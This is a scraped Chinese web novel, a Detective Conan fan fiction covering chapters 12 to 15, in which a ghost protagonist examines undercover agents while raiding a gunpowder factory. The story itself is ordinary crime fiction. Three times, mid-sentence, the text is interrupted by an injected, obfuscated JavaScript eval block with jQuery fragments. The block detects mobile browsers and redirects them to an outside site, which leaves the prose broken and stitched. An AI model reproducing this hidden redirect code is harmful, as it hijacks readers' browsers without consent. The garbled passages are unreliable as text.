系统听到宿主那么坦然的承认自己是鬼,已经开始在他脑海里大声尖叫:‘宿主!你在干什么啊!我们不是要隐藏身份吗?’
‘万一引起规则注意就完蛋了——’
刺耳的尖叫声让风间羽栖眉心一跳,他控制住了自己想要捂耳朵的冲动,当然,脑海里的声音捂耳朵也没用。
在尖叫声小点之后,淡定的安慰系统:‘没关系啦——他们不会信的。’
现场陷入一点诡异的沉默。
半晌,终于有人给了他一点反应。
“啊,原来是这样……”诸伏景光感觉自己在哄孩子。
安室透:“……您还真是幽默。”
“呵。”赤井秀一笑了一声,不知道是因为其他两位的回答,还是考核官让人出乎意料的幽默。
[印象值+10。]
[关键人物安室透、诸星大对您的印象为:……出乎意料的恶趣味。]
并没有学过人类心理学的系统:……原来真的不会信吗?
在一众复杂的目光中,风间羽栖惆怅感叹:‘这年头说真话都没人信了。’
系统:……你看上去并不像是很失望的样子。
-
诸伏景光打开门后没有第一个进去,而是稍稍侧身让风间羽栖先走。
风间羽栖走进去后,诸伏景光就当做没看到后面两位,直接走了进去顺便想关上门。
被赤井秀一一只手挡住了。
“真不好意思。”同为被考核的新人,再怎么说都是竞争者,诸伏景光开始“不经意”的展露自己的敌意和野心:“忘了还有迟到的两位了。”
风间羽栖:……
他看了看时间,发现现在离真正约好的见面时间还有四个小时。
哇——风间羽栖津津有味的看着他们针锋相对,忽然理解了为什么贝尔摩德听八卦时总是那么兴致勃勃了。
12. 第 12 章
其实诸伏景光说在风间羽栖来后的人是“迟到”的并非没有缘由。
在组织里稍微打听过就明白,组织虽然没明文规定过,但由于代号成员的地位极高,所以平常任务什么时候出发、什么时候完成都是要看代号成员行动的。
所以如果有代号成员的任务或者行动,底层人员都是需要提前到达,风间羽栖是个例外——他来的也太早了。
平常那些代号成员哪怕来的早也不会提前四五个小时。所以除了诸伏景光外,其他这次要考核的新人都没风间羽栖来的早。
这场针锋相对没有维持多久,毕竟风间羽栖没有责怪的意思。
于是他们恰到好处的停了下来,看向了坐在沙发上的风间羽栖。
风间羽栖无辜脸:“怎么不接着吵了?”
安室透/诸伏景光/赤井秀一:……
看热闹不嫌事大的态度不要太明显!
风间羽栖无奈的耸了耸肩,指了指其他位置:“还有其他人没到,坐吧。”
他对这几个疑似卧底的人态度都还不错,但也仅此而已了,组织不是合法企业,他对他们态度太好就显得有些怪异了。
几个人都选了个座位坐下,选的位置都是离风间羽栖不远不近的,在此之后没有人贸然开口。
没人嫌气氛太过沉寂,在踩着法律红线做事的组织里,沉默或者忍受沉默其实是常态。
寂静的环境中,风间羽栖的思绪开始发散。
这次担任考核官对他来说也是挑战,他其实并没有什么管理下属的才能,如果要说组织里最闲的人,那大概是他手底下的底层人员了。
时间一分一秒的过去,途中陆陆续续的来了三个人,看到风间羽栖后他们三人看似恭谨的喊了一声:“柏图斯大人。”
风间羽栖神色冷淡的点点头。
在时钟的秒针跳过最后一秒后,最后一位新人还没有来。
气氛刹那间像是凝固了,有人偷偷摸摸的打量了一下这位考核官的脸色。
只看到脸上没什么神情的风间羽栖双手抱臂是垂着眼,指尖在手臂上轻点。
好像没生气嘛,有一个后面来的寸头青年心里嘀嘀咕咕的想,看样子那个人说的没错。
寸头青年其实认识到现在都还没来的人——这个人和组织里某个代号成员关系比较亲密,认为自己已经攀上了代号成员的高枝。
而这次的考核官是技术部的代号成员,在新人之间不是秘密,并且有人去这个代号成员手下的底层人员那打听过,柏图斯对下属的管理十分宽松——听起来极其好欺负。
所以有人拖拖拉拉不来,试图给这位新任的主考核官一个下马威也不是什么奇怪的事。
赤井秀一抬眼看了和他同一批的新人们的脸色,发现除了安室透和绿川明外,其他三个人脸色或多或少的带了点轻视的神色。
赤井秀一在心底里嗤笑,他并不认为一个能获得代号的成员会有多么的好相处。
在没亲身接触前,随意的听信传闻的这几个人,不太可能会成为和他抢夺代号的竞争对手。
而降谷零和诸伏景光也是那么想的,不过他们都没开口,只是等着最后一个人姗姗来迟。
五分钟后,终于听到了门口传来了慢悠悠的脚步声。
风间羽栖的脸上终于带上了些表情,他扯了扯嘴角,露出一个笑。
在那个人推门进来的那一刻,他抽出随身带着的枪。
“砰——”
没有带上消音器的手枪发出巨大的声音,子弹擦着门框射进墙壁。
推门进来的那个人瞳孔不住的收缩,差一点就被子弹击中脑袋的恐惧席卷全身,全然没有刚刚的悠闲模样,只能勉强抓住门把手跌坐在地上。
风间羽栖站了起来,脚步缓缓地走到他的面前,手上的手枪口还带着未散尽的硝烟,琥珀色的眼睛带着一点漠然,他微微弯腰看着这个人的眼睛,轻声开口,只是在讲述一个事实。
“你迟到了。”
——却让人如坠冰窟。
-
风间羽栖冷淡的看着面前的人。
这个人他是认识的,行动组里某个狙击手的小情人。从资料上看,平日里也没少在底层人员里作威作福。
现在还试图给他下马威,风间羽栖自认不算脾气差的人,但也不至于让人骑在头上。
虽然他不太会管理下属,但也知道恩威并施、杀鸡儆猴。
察觉到众人都把目光聚集到自己身上后,风间羽栖直起身,轻飘飘的做下审判。
“你的考核结束了,滚。”
迟到的那个人张了张嘴,看着他手里的枪,最终还是没敢说出反驳的话。
-
——这就是他不喜欢组织的原因之一。
风间羽栖面无表情的收起枪,看到了系统提示里又增加的印象值,却没有心思多管。
无论有多么喜欢安宁的生活,他永远也不能以一种太好相处的态度,平静的生活在组织里。
有一瞬间,风间羽栖的脸上闪过一丝疲惫,但组织的代号成员不能露出这样的神情,于是很快又被冷漠覆盖,他看向终于到齐的新人们。
“好了,”他指了指一扇门:“现在去选一把枪吧。”
-
风间羽栖并没有了解过之前的考核官怎么考核新人。
所以他在见到新人的第一面就让他们去选把枪,在组织里,枪是最常见的武器。
虽然让新人直接获取武器有一定的被新人攻击的风险,但经过刚刚风间羽栖对迟到的那个人的威慑,现在的几个人明显老实且恭敬了许多。
仓库的门没锁。
第一个推开门走进去的安室透被眼前的场景震惊的停住了脚步。
并非是被枪的种类和数目震惊,而是被这个仓库的杂乱和随意震惊。
组织发下来的枪被随意的丢在各个角落,显然它们的主人没有想过要好好存放它们。
安室透弯腰从柜子的角落捡起了一把枪,这把枪很轻,是后坐力不大而且耐用的一种类型。
最重要的是,这把枪和刚刚风间羽栖拿出来的那把枪是同一类型。
安室透刚刚观察过风间羽栖手里的那把手枪,扳机的护圈也着轻微的划痕,显然已经使用过不短的一段时间了。
既然手枪已经有了磨损,而且仓库里有同类型的枪,为什么不换一把?或许那把枪或许对柏图斯有着什么特殊的意义。安室透猜测到。
最后所有人都选好了枪,安室透选择的枪和风间羽栖相似,毕竟他的定位是情报人员,需要一把便于携带的轻巧手枪,而定位是狙击手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266283|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的绿川明和诸星大选择了狙击枪。
风间羽栖靠在门框上,从他们的选择中大概判断出这批新人里有四个倾向成为狙击手和两名倾向成为情报人员。
——这也符合风间羽栖看到的资料。
看来这批新人对自己的定位还是挺清晰的。风间羽栖做出判断。
不过最近组织里并不缺狙击手,所以很可能只是从定位是狙击手的新人里选一个人成为代号成员。
而定位是情报人员的两个人当中,风间羽栖更看好安室透——在餐厅的时候他真以为安室透是一个正义的侦探,说明安室透的演技还挺出色的。
如果好好磨练说不定会成为下一个贝尔摩德。风间羽栖扯了扯嘴角,觉得这个设想有点恐怖。
顺便,风间羽栖给琴酒发了一下他对这些新人的印象,还有举报了他们行动组那个代号成员随意把小情人塞进考核的行为。
其实并没有什么必要,只不过风间羽栖觉得既然琴酒担了个副考核官的名头总该有点参与感。
刚发完信息,风间羽栖一抬头,就看见每个人都拿着枪——有的人因为枪太大了所以是抱着——站在他面前看着他。
“……那现在,去靶场吧。”
-
在射击上,对狙击手的要求显然要比对情报人员的高,所以在分配场地的时候,身为狙击手的几位被分配的靶子更远。
风间羽栖靠在墙上看着几个新人,重点关注着狙击手这边。
不过那两名定位为情报人员的新人显然射击技术都不错,尤其是安室透。
哪怕安室透故意打空了几环,成绩和另一个情报人员差不多,但面对枪械的熟悉度和把控还是让风间羽栖看出来了,他的枪法更好。
于是他不再关注情报组的新人,而是专注的看起狙击手这边。
如果不出意外,组织最近只会招一个狙击手,所以他必须挑出最好的那个。
——虽然风间羽栖更想要挑个人体描边大师。
但这是考核官的职责,如果风间羽栖真的胡乱挑选,恐怕下场会和那位还在审讯室的前任考核官一样。
大概观察了一下,显然是诸星大和绿川明的狙击能力更加优秀。
如果单纯的从这次的狙击来看,并不能从他们两人判别出谁更优秀。
不过考核并非只有狙击一环,还有体术考核。
当然,风间羽栖是不可能对新人进行体术考核的,一方面是他体术不行的事实,另一方面,这样的考核难免会触碰到皮肤——而他现在是个接触不到活物也不能被活物接触的鬼。
所以体术训练还是交给琴酒吧。不过以最近组织的动态来看,琴酒忙完还需要几天。
或许可以把考核拖几天等琴酒忙完?风间羽栖已经在计划怎么摆烂了。
忽然独属于朗姆的提示音从手机里传出。
“R:代号考核提前。”
风间羽栖:……
他叹了口气,对于朗姆的信息没什么意外。
朗姆忌惮琴酒,必然不会用经过琴酒考核的新人。所以在琴酒接手新人之前,让他这个暂时属于朗姆派的人员提前代号考核任务真是再正常不过了。
就是不能多摆烂两天了。
风间羽栖假笑。
我一点都不难过。
13. 第 13 章
之后库拉索把文件传给了风间羽栖。
看着里面几十个任务的风间羽栖陷入了沉默。
以前接的任务都是组织里分配好的,第一次遇到几十个任务放在面前让他挑的。
而且他要在一小时里挑完,一小时之后这个文件就会自动销毁。到底是谁写的程序,把时间定那么短……等等。
风间羽栖:……
好像是他自己写的。
真是自己坑自己,早知道应该写个根据文件大小来定销毁时间的程序,只不过写这个程序的时候,他刚被坑进组织里,所以根本不会那么用心。
风间羽栖小小的叹了口气,开始挑选合适的任务。
不得不说组织里的任务真是各式各样,唯一的共同点大概就是非法了。
目光从一个个任务上飞快略过,最后风间羽栖将目光放在了最后一个任务上。
他眨了眨眼。
-
这些任务很有意思。
大部分任务其实只需要一两个人就可以完成。如果是寻常的任务,可以让他们分组,但这是考核任务,考核官必须监督到位。
如果分组的话,现在只有他一个考核官,如果要观察到所有人的行动,只能选一个所有人都能参与的任务。
——组织最喜欢把戏,看似给了很多选择,实际上根本没得选。
风间羽栖看着最后一个任务,这个任务是唯一一个能让所以新人参与的。
他把这个任务留了下来并发给了要参加任务的所有人。
-
安室透正站在餐厅门口,自从餐厅出了命案吓走了不少客人后,老板就让他站在店门口吸引客人。
安室透很有职业素养的摆着微笑看着每一个路过餐厅的人。
看似他很认真的在招揽客人,实际上如果仔细的盯着他的眼睛,可以看出他的一点心不在焉。
但是显然,无论是街上的路人还是走到餐厅里的客人,由于礼貌,都不会过于直白盯着一个人看很久。
安室透正在回忆。
在卧底进入组织前,他看过警方收集到的组织信息——组织往年的考核官对能力都极其看重,所以在伪造档案上,他们刻意的强调了自身的能力,以求被注意到。
而且一般来说,代号考核之前是有一个星期的考察和训练的。
往年从无例外,但是今年一切都变了,组织突然大规模招揽新人、考核官变更、副考核官缺席、缩短了考察和训练、突然提前的代号考核。
从打听到的情报来看,这些似乎和组织内部的权利变更有关。
而这些事情里都或多或少的出现了一道身影——柏图斯。
安室透还能记起他昨天开枪时的情形。
当时的气氛非常的压抑,虽然他并不害怕也仍然随着周边人压抑着呼吸声。
如果说柏图斯要杀死这个敢于挑战他威严的新人的话,安室透也并不意外。
这完全符合他对组织的印象——混乱、冷血、不容抗拒。
在其他人都垂着眼不敢多看时,他大着胆子看向柏图斯的脸,试图从他的神情分析出他的想法。
于是安室透看见那双琥珀色的瞳孔没有被冒犯的怒意,开枪后他的眼睛第一秒也并非看着跌坐在地上的人。
柏图斯看着他的枪,准确的来说是看着他握着枪的手,微微抿着嘴角,露出一个有点厌倦的神情。
那天离开后安室透和一些加入组织比较久的底层人员打听了一下柏图斯。
那个人已经年纪很大了,年轻时做过很多疯狂的时,年老后反而变得平和:“并非所有代号成员我都听说过名字。”
“但我知道这位大人……”
“在代号成员当中他应该算是最少有的中立派了。”
一个在组织里是中立派的技术人员。
他能在混乱的组织里做到近乎中立,说明他有自己的一套处事原则,身为技术人员却能当上考核官说明他的地位并不低,起码是能让组织高层关注到的。
听说他是贝尔摩德带进组织的,安室透也试图从贝尔摩德这打探点柏图斯的消息。虽然贝尔摩德很欣赏安室透的能力,但是一提到柏图斯,她总是嘴角挂着若有若无的笑,不肯透露半分。
柏图斯是特别的,他被贝尔摩德带进组织、曾经和琴酒搭档,现在成为朗姆明面上的下属……
而且,安室透忽然想到一点,组织向来敏感多疑,成员之间相互合作和桎梏虽然是为了权利斗争,但也何尝不是组织的boss,人们讳莫如深的“那位先生”所想要的。
组织的boss需要他们这么做,防止某个代号成员的权利大过他,而柏图斯却在这种情况下身处中立……是不是,也有“那位先生”的默许?
如果真是这样……为什么?柏图斯似乎进入组织不到两年,他为什么那么特殊?而柏图斯本人又是否知道这件事?
衣服内层防着的手机无声的震动两下,打断了安室透的思绪。
这只手机是他特意为联系组织成员所准备的,所以说……他们的考核任务已经确定了。
-
诸伏景光在自己选择的安全屋里打开了手机。
在确认过没有摄像头和窃听器且拉好了厚重窗帘的漆黑环境里,他缓缓呼出一口气。
原来现在已经是只能在黑暗的环境里才会安心了吗?诸伏景光嘴角露出一点苦笑。
不过这点细节并不重要,他也迟早要适应这样的生活。诸伏景光低头望向手里的手机——那是漆黑卧室里唯一的光源。
手指轻微的碰了碰屏幕,点开了柏图斯发来的信息,短短十秒后,信息就自动销毁了。
组织里的人果然很谨慎,诸伏景光垂眼,不过着十秒也足够他看清这次代号考核的任务了。
诸伏景光的食指轻轻摩挲了一下手机边缘。
……郊区的秘密火药厂?
很让人意外的任务。
-
赤井秀一正在和FBI秘密交流。
“……哦?从海外走/私来的火药啊。”赤井秀一靠在小巷深处,这里是废弃多年的公寓楼,所以他并不担心会有人路过。
耳麦的另一边联络员低声回答:“是的,调查显示这群人已经利用炸弹抢占了米花市郊区的某些组织的领地。”
这些炸药威力强而且造价并不高昂,赤井秀一想起了刚刚看到的那条任务信息,组织很可能需要这批炸药以及□□。
所以虽然他很意外这样的任务会是考核任务,但组织盯上这个火药厂并不奇怪,经典黑吃黑的戏码。
“嗯,知道了。”和联络员通完话后赤井秀一挂断了电话。
-
组织其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266284|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一开始并没有盯上这个火药厂,毕竟走私火药的这批人行动隐蔽,大部分时候只在郊区活动。
——直到他们炸了朗姆的工厂。
风间羽栖:……
说实在的,要不是因为这个任务他根本不知道朗姆在郊外有个工厂。
这个工厂好像是朗姆的私人资产,做食品一类的生意,只要不是闹的太大,“那位先生”对组织成员这样的私人资产从来都是睁一只眼闭一只眼。
朗姆睚眦必报,组织最近又极其需要大量的资金来填补“大清洗”后的资金空缺。
而火药的价格并不便宜,不巧的是抢占那批走/私的火药,再进行仿制并售卖给其他小组织也是他们组织的业务范围。
所以朗姆下达了这个任务。
既然要拿下这个火药厂,直接强行抢夺肯定不行,不过他这次只是盯着他们完成任务的考核官。
就让那群新人自己苦恼吧?
-
所以说,为什么我也要参与这个任务?我不是考核官吗?!
风间羽栖在心底叹了口气,什么叫做这个任务很重要,为了确保任务完成,考核官也得参加啊……
被、迫、加、班。
有什么比加班更难受的事吗?当然有——给非法组织加班。
他甚至没有把劳动法狠狠拍在朗姆面前的机会。
或许是因为他的情绪起伏有些明显,和他一起潜入火药厂的安室透朝他看了过来。
潜入火药厂打探情况并不需要太多人,在选择和他一起潜进火药厂查看的搭档时,风间羽栖选择了情报人员中更有能力的安室透。
不过虽然安室透能力强,但和他搭档也意味着要更小心的伪装自己,毕竟安室透十分的敏锐。
“怎么了吗?”安室透不动声色的问。
“没什么。”风间羽栖平复了下心情,当然不可能告诉他,他对给组织加班这件事非常有怨念,于是他转移话题:“先做任务吧。”
现在他们刚潜入火药厂,为了制造更多的火药,所以他们招揽了许多人,安室透和风间羽栖混进来还算容易。
他们打晕了两个人,再把他们的工作服扒了下来换上,又让绿川光他们把人运到别的地方。
擒贼先擒王,所以他们打算先打探一下厂长的位置。
兵分两路,安室透伪装成帮忙搬东西的工人,而风间羽栖对自己的体力很有自知之明,伪装成了保洁人员。
花了一个上午打探出了一些信息,两个人再汇合把信息整理了一下,推断出厂长的办公室大概在二楼的某个角落。
于是他们上了二楼,刚走到一个拐角,就听见了后面有脚步声。
“喂!什么人!”负责安保的人看见他们的身影:“鬼鬼祟祟的在角落里干……”
“……嘛?”
安保走近后愣住了。
只见金发黑皮的男人带着搬完东西后染着灰的脏污手套,攥紧了身前人苍白瘦削的腕骨,手套上的灰蹭到苍白的肌肤上,留下显眼的痕迹。
虽然没有肌肤的直接接触,但是他们靠的很近。
被他抓住手腕的漂亮青年显然很诧异,却无力反抗,只能睁大了眼,抬头瞪着面前的人。而金发黑皮的帅气男人,嘴角扯着一丝无辜的笑却仍然不肯放手,在昏暗的角落里,平白生出点让人脸红的暧昧来。
14. 第 14 章
听到脚步声的时候,风间羽栖是打算躲到走廊深处的杂物间的,但是还没等他行动,手腕就猛然被人拽住了。
系统:‘!!!’
风间羽栖瞳孔微缩,万幸的是安室透的手上带着手套,没有直接触碰到他手腕的皮肤,否则要是安室透的手穿过他的手腕,风间羽栖就解释不清了。
好冰。这是安室透的第一反应,他带着的是为了增加摩擦力的薄手套,所以触碰到风间羽栖的手腕时能感受到一些他手腕的温度。
是刚刚洗了手吗?安室透走神一瞬,但是现在不是走神的时候,他听着越来越近的脚步声,露出一个无辜的笑,低声说:“有人来了。”
风间羽栖:……他当然知道!
风间羽栖压低声音,有些咬牙切齿的说:“旁边有杂物间可以躲。”
安室透看起来更无辜了:“万一他去杂物间检查呢?”
虽然不是没有道理,但是据风间羽栖一上午的观察,火药厂的巡逻人员不多。二楼的巡逻偶尔下来,会特意绕开灰尘多的区域,而且经常打喷嚏,可能是对灰尘过敏或者有鼻炎。
在没遇到异常的情况下优先去杂物间检查的可能性比较小,而且哪怕巡逻来杂物间检查,也可以趁着人不注意把他打晕。
不过现在说这些也晚了,巡逻的人显然已经发现了他们。
在巡逻的人的腰上挂着警报器,也代表着风间羽栖和安室透并不能轻举妄动。
巡逻的人撇了撇嘴,把他们当做胆大跑上楼来幽会的情侣,他没什么戒心的靠近:“喂,你们两个,没有告诉你们楼上不能随便来吗?”
“啊,真是抱歉。”安室透松开了抓着风间羽栖的手,他脱下手套拿出钱包。
巡逻的人挑了挑眉,显然觉得他是要贿赂自己,于是凑近了些。
下一秒安室透从钱包里取出一把短刀,隔断了他挂着警报器的腰带,警报器掉在地上,安保睁大了眼准备反击,却被安室透一把捂住嘴压在地上。
安保口袋里的东西都掉了出来,安室透打晕了他。
安室透出手很利落,全程不过花了几秒钟,随后看着一旁没什么表情的风间羽栖,安室透眨了眨眼。
是因为刚刚的冒犯生气了吗?安室透想,其实他知道这附近是有个杂物间可以躲的,刚刚抓住柏图斯的手主要是为了试探。
现在看来,柏图斯或许是不喜欢和人接触的类型。安室透并没有错过刚刚他抓住柏图斯手腕的那一刻,他脸上的慌乱。
柏图斯在害怕,害怕什么?这个问题现在显然得不到答案。
不过柏图斯是考核官,不能把人得罪太狠了。于是安室透蹲在地上,默不作声的开始搜安保的身,先找到了手枪的消音器,又从安保身上找到一张二楼的地图,上面有几个房间没有任何标注。
看到安室透手里的地图,风间羽栖稍稍俯身看了一眼,隔空指了指最里面的一个没有标注的房间:“这个房间,在一楼的平面图上没有。”
一楼的某个地方有整个工厂的地图,这个工厂的范围并不小,原本风间羽栖是打算用手机拍照节省时间,但是恰巧这个地方附近有人站岗,于是他只能在短时间内快速的把几个比较可以的房间位置记录下来。
风间羽栖的记忆力一向不错,如果不是因为得了绝症,他根本不会忘记那么多事情。
安室透不动声色的在心里记下了柏图斯记忆力不错这个情报。
风间羽栖捡起了地上的手枪,装上消音器随后丢给了安室透,随后自己带上了手套,掏出惯用的那把枪。
安室透原本掏枪的手又默默放下。
他们两个把安保丢到杂物间,一前一后向二楼走廊最深处走去,二楼是没有监控的,他们走到房间门口,风间羽栖听到里面没有声音。
他让安室透注意身后的动向,试探的轻轻碰了碰把手,发现门是开着的。
不对……为什么门会是开着的?风间羽栖松开了门把手。
虽然这个厂里大部分都是普通人,但是厂里的管理人员和厂长是实打实的亡命之徒,常年游走在生死线边缘的人怎么可能那么不谨慎?
“是陷阱。”安室透也反应过来了。
风间羽栖后退了一步,猜想门后大概率不是厂长的办公室,而是什么一推门就发出警报的开关,也可能是一推门就爆炸的炸药。
其实这个陷阱挺明显的,毕竟一楼就有工厂的平面图,如果有观察能力强的人知道这张地图,去和一楼的地图比较,很容易就能发现这个房间在一楼的平面图上没有显示。
遮遮掩掩反而才是最显眼的,画平面图的人就是为了让别人知道这个房间是特殊的。
——是他有点太心急了,差点连带着安室透,直直的踩进陷阱里。
轻轻呼了口气,风间羽栖垂着眼,这次担任考核官的任务落到他头上后,他潜意识的觉得麻烦,只想快点解决。
万一门后是推开就炸的炸药,他虽然是鬼不一定有什么事,但是身后的安室透是绝不可能逃脱的了那么近的爆炸的。
资料上看,安室透其实除了贩卖情报外并没有杀过人,如果他因此而死……
……他不想再背负上一条人命了。
风间羽栖微微抿了下唇,稍稍有些歉意的低声说:“抱歉。”声音非常轻也非常快像在吐露什么不能让人轻易知晓的秘密。
什么?安室透一愣。
随后风间羽栖装作什么都没发生的样子,做出判断:“先去找监控室吧。”
安室透迟疑点头,刚刚柏图斯是不是说了句抱歉?
……是他听错了吗?安室透看着前面柏图斯的背影,表情微妙,他实在是想不到一个组织的代号成员,竟然会因为自己的失误向下属道歉。
监控室的位置倒是很好找,不过在一楼,一楼的监控有点多,风间羽栖和安室透花了点时间潜了进去,安室透打晕了里面的两个人。
……原本是打算让安室透在外面观察情况的,但是觉得自己不一定能搞定监控室里的人,风间羽栖还是让他一起行动了。
风间羽栖的手指飞快的敲击着键盘,没一会他就找出了监控里几个疑似
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266285|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去过二楼的人。
随后把监控里自己和安室透的身影处理了一下。
选出了可能是管理层和厂长的人的照片后,风间羽栖把这几张照片发给在工厂外狙击的人,让他们盯着点这几个人的动向,不要让他们走出工厂。
工厂里大部分都是普通人,只要抓住管理层和厂长,剩下的人都是为了钱也不会和他们拼命,他们就能完全控制这家火药厂。
在找出监控的照片后,他又摸出了一个手机。
这个手机?这个手机的外壳很显眼,绝不会是一个组织人员在任务时会带上的类型,安室透回想起来,刚刚他打晕的那个安保口袋里掉出了很多东西,似乎就有一个手机。
是在什么时候拿上的?他打晕那个人的时候吗?安室透发觉柏图斯似乎很有当扒手的潜质。
……还是算了吧,日本已经够乱了。安室透赶紧抛开了这个可怕的想法。
风间羽栖熟练的黑进了二楼安保的手机里。
略微懂一点黑客技术的安室透仔细的看着他的操作。
很有天赋和能力的人,可惜在组织里,安室透在心底叹息一声。
一开始风间羽栖还是在正经的查看手机里的信息,忽然他敲了几下键盘,放出一段监控。
以为是他查到什么关键信息的安室透走近,随后愣了一下,等等,怎么是组织在厂外设置的狙击点的监控?
虽然狙击点的确是提前选好的,不过也是狙击手自己选的。
——柏图斯该不会是提前在所有合适的狙击点安装了监控吧?
-
在外面狙击的赤井秀一看了眼信息,看了一眼身侧的绿川明。
厂外的狙击点有很多,不过最合适的狙击点在六百码外的废弃高楼。
这个狙击码数对于大部分狙击手来说显然有难度,所以这批加入组织的狙击手里只有他和身边这位绿川明选择了这里,其他退而求其次选择了其他地方。
赤井秀一勾了勾嘴角,他并不畏惧这样的对手,他眯着眼专心的透过瞄准镜观察。
——他对自己的狙击能力有信心,绝不会轻易的输给别人。
而诸伏景光显然察觉到了诸星大的浅淡敌意,他并不在意。
——为了卧底的任务,他也必须获得代号,加入组织。
-
这个任务很重要,哪怕身为考核官的自己被迫加入,打乱了他的计划,风间羽栖也没忘记这是个考核任务。
在监控里看到两个人的风间羽栖还是稍稍有些诧异的。
身为考核官,他需要找到最合适的成员加入组织,尤其是在狙击手上,组织不缺狙击手,他必须从四个人选里选出一个。
所以他在最合适狙击,也是最有狙击难度的一个位置安装了微型监控——其他的位置他并没有装。
组织只需要最好的,如果招进去没有能力的人,他必然会受到组织的惩罚。
看着监控里的两个人,风间羽栖微微叹了气,原本以为能一下就筛选出一个人选,现在看来还要考察他们后面的表现。
15. 第 15 章
看完狙击手那边的情况后,风间羽栖继续观察着监控画面。
“安室。”风间羽栖指了指监控上的一个背影:“你去接近试探一下这个人。”随后把微型耳麦抛给他。
安室透接过耳麦,将耳麦戴上,他看了一眼监控上的人,那个人只是穿着最普通的工作服:“这个人有问题?”
这个人并不在刚刚风间羽栖发的几张照片上。
风间羽栖眨眨眼,耸了耸肩:“不能确定,所以让你试探一下。”
安室透:“……”
“只是怀疑,二楼没有装监控,说明这个人不喜欢暴露自己。”风间羽栖看着监控上的人:“而这个人,监控的画面显示他没有靠近过二楼,只是在一楼行动……他总是很刻意的走进镜头实际上什么有信息量的事情都没做。”
“什么意思?”安室透问。
风间羽栖指了指另一个监控的人:“你观察一下这个坐着的员工出现的监控画面,你描述一下他的特征?”
安室透仔细观察了一下,做出了总结:“一个身材微胖、性格散漫、手指有伤的日本青年。”
风间羽栖点头:“是的,你可以从这些监控里看出他的体型,而且可以看出他比较散漫,一大部分时间在做工作之外的事,还可以从他拿手机的姿势看出他的手有伤。”
“而你看我怀疑的这个人,总结一下那么多监控镜头下,他的特征?”
安室透迟疑了:“行为很标准的一个工厂员工。”
“标准。”风间羽栖复述了这个词:“他很符合标准,也意味着他的一言一行没有特点,监控的画面没有暴露他的习惯,而且他还老老实实的穿着宽大的衣服还带着工厂的帽子,没有暴露自己的身材和长相,但是一个人怎么可能没有自己的小习惯?也就是说——”
“他在控制自己不把任何信息暴露给监控。”
“一般的人会对监控那么紧绷吗?也许会,但不至于到这种地步,他的行为习惯像是被追捕多年的逃犯,无时无刻不在隐藏自己的习惯和特征。”
安室透观察了一下这些监控画面,发现的确如此,这个人的一言一行太过标准了,很容易让人忽视,不特意去观察根本察觉不出不对劲。
“不过我这些只是我的猜测,”风间羽栖靠在椅背上:“所以需要验证。”
“我知道了。”安室透点了点自己的耳朵、带着耳麦的地方:“有情况我会随时汇报。”
风间羽栖点了点头,一想到没有人在身边他可以摸会鱼,神色都柔和了下来:“保持联系。”
并不是很习惯他突然变脸的安室透:“……明白。”
他算是看出来了,柏图斯好像不太喜欢和人接触,看来以后得保持点距离。
不过,柏图斯知道自己心情好的时候说话会下意识的放缓语调吗?
这个语气听起来好像对他很不舍一样,安室透闭了闭眼,把奇怪的的想法抛到脑后。
-
风间羽栖一边看着监控一边和系统唠嗑。
在做这次任务前,他让系统在任务完成之前不要提示他印象值,不然他容易分心。
‘宿主,刚刚安室透对你的印象值增加了不少哎。’系统兴冲冲的说。
风间羽栖并不意外:‘可能因为我现在和给他之前留下的印象不太一样吧。’
他可没忘记安室透之前在餐厅给他的印象都是什么“好心”“可疑”之类的。
现在印象估计变成板上钉钉的犯罪分子了/危险人物了吧。
这么想着风间羽栖打开了系统面板看了看安室透对他的印象评价。
[关键人物安室透对您的印象为:如果******就好了。]
风间羽栖:‘……’什么就好了?
‘怎么被屏蔽了?’
系统:‘是宿主暂时不应该知道的信息。’
彳亍口巴。风间羽栖表示自己只是有一点点好奇。
监控没什么异常,风间羽栖就这样和系统有一搭没一搭的聊着天。
有人悄无声息的推开了监控室的门。
风间羽栖站了起来,拔出抢对准门口,他的神色冷静,琥珀色的瞳孔紧紧盯着门口的人。
还在兴致冲冲的讲故事的系统蓦然闭嘴,看了眼风间羽栖的神色:‘……宿主好像不意外?’
‘嗯?’风间羽栖眨眨眼:‘正常啦,我一直都很倒霉,遇到什么情况都正常。’
系统想起了宿主被坑进黑衣组织、得绝症、被捅死、被当做凶手、被迫担任考核官的经历。
系统:‘……’心疼宿主几秒。
‘不过……’
系统:‘不过什么?’
风间羽栖看向走近的人,扯了扯嘴角:“真是有点意外啊……”
“但你的表情好像没那么意外。”来人的面貌很熟悉——是刚刚他们在二楼打晕扔在二楼杂物间的那个“安保”。
